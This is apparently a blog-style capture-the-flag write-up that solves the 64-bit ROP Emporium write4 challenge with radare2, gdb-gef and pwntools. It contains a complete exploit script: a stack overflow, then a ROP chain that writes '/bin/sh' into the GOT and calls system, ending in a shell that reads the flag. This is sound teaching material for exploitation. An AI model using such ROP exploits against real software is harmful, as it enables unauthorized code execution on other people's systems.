This time we're looking at the fourth ropemporium challenge, write4, but this time we're going to do it in 64-bit. We'll have to write our own command to memory and then call system to execute it.
Binary Analysis
As per usual, let's run it:
# ./write464
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> test
Exiting
Looks similar to the others, let's fire up radare2.
r2 write464 -- This code was intentionally left blank, try 'e asm.arch = ws' [0x00400650]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables [0x00400650]> afl 0x00400650 1 41 entry0 0x00400610 1 6 sym.imp.__libc_start_main 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 entry.fini0 0x00400720 4 38 -> 35 entry.init0 0x004007b5 1 82 sym.pwnme 0x00400600 1 6 sym.imp.memset 0x004005d0 1 6 sym.imp.puts 0x004005f0 1 6 sym.imp.printf 0x00400620 1 6 sym.imp.fgets 0x00400807 1 17 sym.usefulFunction 0x004005e0 1 6 sym.imp.system 0x004008a0 1 2 sym.__libc_csu_fini 0x004008a4 1 9 sym._fini 0x00400830 4 101 sym.__libc_csu_init 0x00400746 1 111 main 0x00400630 1 6 sym.imp.setvbuf 0x004005a0 3 26 sym._init 0x00400640 1 6 sym..plt.got [0x00400650]>
We see some stuff that at this point we're familiar with, let's take a look at the suspiciously useful function. This time we'll use the hud functionality to search for the function.
Let's enter visual mode with V
and scroll through the visual modes until we get to the disassembler with p
. We can then search through all flags by pressing the _
key, we then get a search prompt which dynamically searches the flags as we type.
As we search for 'useful' we notice there are in fact two flags:
0> usefu| - 0x00400807 sym.usefulFunction 0x00400820 loc.usefulGadgets
One is the usefulFunction we're expecting, but the second is a location flag called usefulGadgets. We notice that the memory addresses are pretty close together, let's press enter and navigate to the usefulFunction and take a look...
[0x00400807 [xAdvc] 0% 220 write464]> pd $r @ sym.usefulFunction ┌ (fcn) sym.usefulFunction 17 │ sym.usefulFunction (); │ 0x00400807 55 push rbp │ 0x00400808 4889e5 mov rbp, rsp │ 0x0040080b bf0c094000 mov edi, str.bin_ls ; 0x4 │ 0x00400810 e8cbfdffff call sym.imp.system ;[1] │ 0x00400815 90 nop │ 0x00400816 5d pop rbp └ 0x00400817 c3 ret 0x00400818 0f1f84000000. nop dword [rax + rax] ;-- usefulGadgets: 0x00400820 4d893e mov qword [r14], r15 0x00400823 c3 ret 0x00400824 662e0f1f8400. nop word cs:[rax + rax] 0x0040082e 6690 nop
The usefulFunction looks similar to the other challenges and includes the code that imports system
, but this time it's followed by some gadgets , in particular a mov
gadget that shifts memory around... hmm...
The name of the challenge and the gadget we have implies that we're supposed to write our own string to memory, however just in case let's search the binary for strings that may be useful. We can use our hud again to search through the output of any command by appending ~...
. As we're in visual mode we'll have to hit :
to enter a command, then izz~...
to enter the hud:
0> cat|
yep...nothing, and the same for sh. We are indeed goning to have to write one in ourselves.
Plan of attack
Let's take a closer look at the useful gadget:
;-- usefulGadgets: 0x00400820 4d893e mov qword [r14], r15 0x00400823 c3 ret
This gadget moves the value of the r15 register into the address pointed at by the r14 register. What we want then, is the ability to control what r14 and r15 contain and we can write to any arbitrary memory address.
Let's see what other gadgets there are and see if we have what we need.
From command mode (or with a :
again), let's search for a pop r14
gadget and see if we have one.
[0x0040084a]> /R pop r14 0x0040088c 415c pop r12 0x0040088e 415d pop r13 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret 0x0040088d 5c pop rsp 0x0040088e 415d pop r13 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret 0x0040088f 5d pop rbp 0x00400890 415e pop r14 0x00400892 415f pop r15 0x00400894 c3 ret [0x0040084a]>
As luck would have it, we have a gadget that will pop r14
and pop r15
in one at 0x00400890. So it looks like we can write a string to memory, then use the rop techniques we have used previously to call system
with our string!
Exploitation
Let's create our skeleton pwntools script, except this time for 64-bit, and we'll directly add our cyclic string to find the offset to the expected crash. As the registers are 8 bytes long instead of 4 (64-bits) we'll need to specify n=8
in our cyclic functions to ensure every set of 8 characters is unique.
#!/usr/bin/env python2 import pwn # Set the context for any pwntools magic pwn.context.arch = 'amd64' # Load the binary as a pwntools ELF pwn.context.binary = binary = pwn.ELF('./write464') # Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb pwn.context.terminal = ['byobu', 'new-window'] gdb_cmds = [ 'b* main', 'c' ] # Start debugging io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds)) io.recvuntil("> ") io.sendline(pwn.cyclic(100, n=8)) io.interactive()
After running our this we see the expected crash:
Program received signal SIGSEGV, Segmentation fault. 0x0000000000400806 in pwnme () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x00007ffffc33c7c0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" $rbx : 0x0 $rcx : 0xfbad2088 $rdx : 0x00007ffffc33c7c0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" $rsp : 0x00007ffffc33c7e8 → "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" $rbp : 0x6161616161616165 ("eaaaaaaa"?) $rsi : 0x00007fb7557548d0 → 0x0000000000000000 $rdi : 0x00007ffffc33c7c1 → "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]" $rip : 0x0000000000400806 → <pwnme+81> ret $r8 : 0x0000000000c652c5 → 0x0000000000000000 $r9 : 0x77 $r10 : 0x0000000000c65010 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x0000000000400650 → <_start+0> xor ebp, ebp $r13 : 0x00007ffffc33c8d0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007ffffc33c7e8│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" ← $rsp 0x00007ffffc33c7f0│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]" 0x00007ffffc33c7f8│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c800│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c808│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa" 0x00007ffffc33c810│+0x0028: "kaaaaaaalaaaaaaamaaa" 0x00007ffffc33c818│+0x0030: "laaaaaaamaaa" 0x00007ffffc33c820│+0x0038: 0x0000000a6161616d ("maaa"?) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4007ff <pwnme+74> call 0x400620 <[email protected]> 0x400804 <pwnme+79> nop 0x400805 <pwnme+80> leave → 0x400806 <pwnme+81> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "write464", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x400806 → pwnme() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤
However this time it looks a little different, the segfault has occurred but rip points to a ret
and not to a portion of our cyclic buffer.
64-bit registers
At this point we should talk about 64-bit registers. You may have noticed that all the registers above look the same and have the same function, but begin with an r (e.g. rip
) instead of an e (e.g. eip
). The r- versions just indicate that the register in 64-bit and the e- that the register is 32-bit, otherwise the function of the register is the same.
64-bit registers are (unsurprisingly) 64-bits in length, however, for many CPUs the 64-bit memory address space does not utilise all of the available 64-bits. x86-64 and ARMv8 for example, two of the most common CPU types, only support up to 48-bits of virtual address space. This is still more than large enough for tasks today, however it does mean that if you try to access a memory address that uses more than 48 bits then the CPU will error with a segfault before the instruction using that memory address actually executes.
So looking above, we can see that rip
is at the ret
of the pwnme
function, and we know that the ret
operation will return to the address at the top of the stack and then pop it off.
The address at the top of the stack is part of our buffer: faaaaaaag (unfortunately). Let's use GDB to observe this as a memory address using x/gx $esp
(examine giant (64-bit value) and print in hex at esp):
gef➤ x/gx $rsp
0x7ffffc33c7e8: 0x6161616161616166
We can already tell that more than 48-bits are used by the lack of trailing zeros, but let's print it in binary too to check:
gef➤ x/gt $rsp
0x7ffffc33c7e8: 0110000101100001011000010110000101100001011000010110000101100110
Yep, definitely using more than 48-bits! In order to not error the leading 16 (64-48) bits would have to be 0s. This explains why our segfault happens at the ret
, and we have determined that the offset that we want is at faaaaaaag as this is the return address that it is trying to be returned to.
Creating the ROP Chain
Right, so we know we have an import to system
and we have a mov
gadget that can write a register to a the location pointed at by another register - the question now is what to write and where?
We could use the gadget multiple times to build up a long string, however we have 8 ASCII characters to work with in a 64-bit memory adress, so we could just try writing /bin/sh. With the null-byte terminator that's eight characters, perfect!
As for where, let's take a look at the memory mapping for writable locations...
Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /root/Downloads/write464 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /root/Downloads/write464 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /root/Downloads/write464 0x00007f76a8350000 0x00007f76a8372000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8372000 0x00007f76a84ba000 0x0000000000022000 r-x /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a84ba000 0x00007f76a8506000 0x000000000016a000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8506000 0x00007f76a8507000 0x00000000001b6000 --- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a8507000 0x00007f76a850b000 0x00000000001b6000 r-- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a850b000 0x00007f76a850d000 0x00000000001ba000 rw- /lib/x86_64-linux-gnu/libc-2.28.so 0x00007f76a850d000 0x00007f76a8513000 0x0000000000000000 rw- 0x00007f76a853b000 0x00007f76a853c000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a853c000 0x00007f76a855a000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a855a000 0x00007f76a8562000 0x000000000001f000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8562000 0x00007f76a8563000 0x0000000000026000 r-- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8563000 0x00007f76a8564000 0x0000000000027000 rw- /lib/x86_64-linux-gnu/ld-2.28.so 0x00007f76a8564000 0x00007f76a8565000 0x0000000000000000 rw- 0x00007ffc0f584000 0x00007ffc0f5a5000 0x0000000000000000 rw- [stack] 0x00007ffc0f5a9000 0x00007ffc0f5ac000 0x0000000000000000 r-- [vvar] 0x00007ffc0f5ac000 0x00007ffc0f5ae000 0x0000000000000000 r-x [vdso]
There's a writable section for our binary, which doesn't support ASLR so we know that these addresses will be static. This writable section is probably for the Global Offset Table, which as detailed in part 2 needs to be writeable. Let's see if we can confirm this.
gef➤ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0000000000400807 <+0>: push rbp 0x0000000000400808 <+1>: mov rbp,rsp 0x000000000040080b <+4>: mov edi,0x40090c 0x0000000000400810 <+9>: call 0x4005e0 <[email protected]> 0x0000000000400815 <+14>: nop 0x0000000000400816 <+15>: pop rbp 0x0000000000400817 <+16>: ret End of assembler dump. gef➤ disas 0x4005e0 Dump of assembler code for function [email protected]: 0x00000000004005e0 <+0>: jmp QWORD PTR [rip+0x200a3a] # 0x601020 <[email protected]> 0x00000000004005e6 <+6>: push 0x1 0x00000000004005eb <+11>: jmp 0x4005c0 End of assembler dump. gef➤
We can see the [email protected]
is at 0x601020, which, in our memory map above, is indeed our writable section. Let's write our string towards the end of the GOT, as long as we don't overwrite the [email protected]
address we should be ok.
Let's add what we can to our pwn script:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)
system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += # need to setup call to system...
io.sendline(buf)
io.interactive()
So we'll overwrite the return address with the address of the gadget which will pop two values off the stack and into r14 and r15, these will be the address to the writeable GOT and the null-terminated string /bin/sh. We'll then return from that to the mov
gadget which will write the contents of the r15 register to the location pointed at by the r14 register - so our string will be written to the GOT.
All that remains after that is so setup the call to system
, but how do we do this in 64-bit?
64-bit calling convention
For 32-bit programs we know that the arguments to a function go on the stack in reverse order, so that they can be popped off in the right order.
For 64-bit programs things work a little differently. For System V AMD64 ABI systems (Solaris, Linux, FreeBSD & macOS), the first six integer or pointer arguments are passed in the registers rdi, rsi, rdx, rcx, r8 and r9, then any further arguments are pushed onto the stack. For Microsoft systems, the first four arguments are passed in the rcx, rdx, r8 and r9 registers, then any further arguments are passed on the stack.
This means that as we want to call system
with the address of our string, we'll have to pop that pointer into the rdi register and then call system
. Let's find an appropriate gadget if we can in radare2.
[0x0040084a]> /R pop rdi
0x00400893 5f pop rdi
0x00400894 c3 ret
Perfect! Let's finish off our script and give it a go!
Shellz
So our final script looks like this:
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
gdb_cmds = [
'b* main',
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
#io = pwn.process(binary.path)
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)
system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
pop_rdi = 0x00400893
buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += pwn.p64(pop_rdi) # ret from mov gadget
buf += pwn.p64(ptr_got_near_end) # popped into rdi
buf += pwn.p64(system) # ret to system
io.sendline(buf)
io.interactive()
We run it and check the gdb output:
gef➤ c
Continuing.
[Detaching after fork from child process 2246]
Gdb looks good, let's try and run a command in the original window...
python pwn_write464.py [*] '/root/Downloads/write464' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/usr/bin/gdbserver': pid 2159 [*] running in new terminal: /usr/bin/gdb -q "/root/Downloads/write464" -x "/tmp/pwnfqSFEj.gdb" [!] cyclic_find() expects 8-byte subsequences by default, you gave 'faaaaaaag' Unless you specified cyclic(..., n=9), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=9) to override this. [*] Switching to interactive mode Detaching from process 2246 $ cat flag.txt ROPE{a_placeholder_32byte_flag!} $
Boom! Headshot!
Summary
We've cracked ropemporium's write4, in 64-bit this time! We've had to make use of a gadget to manually write the string we want to execute into memory, and we've gotten a bit more familiar with radare2, gdb-gef and pwntools.
Next time we'll try badchars, a challenge where we'll have to learn how to deal with binaries which can mangle certain characters in our buffer!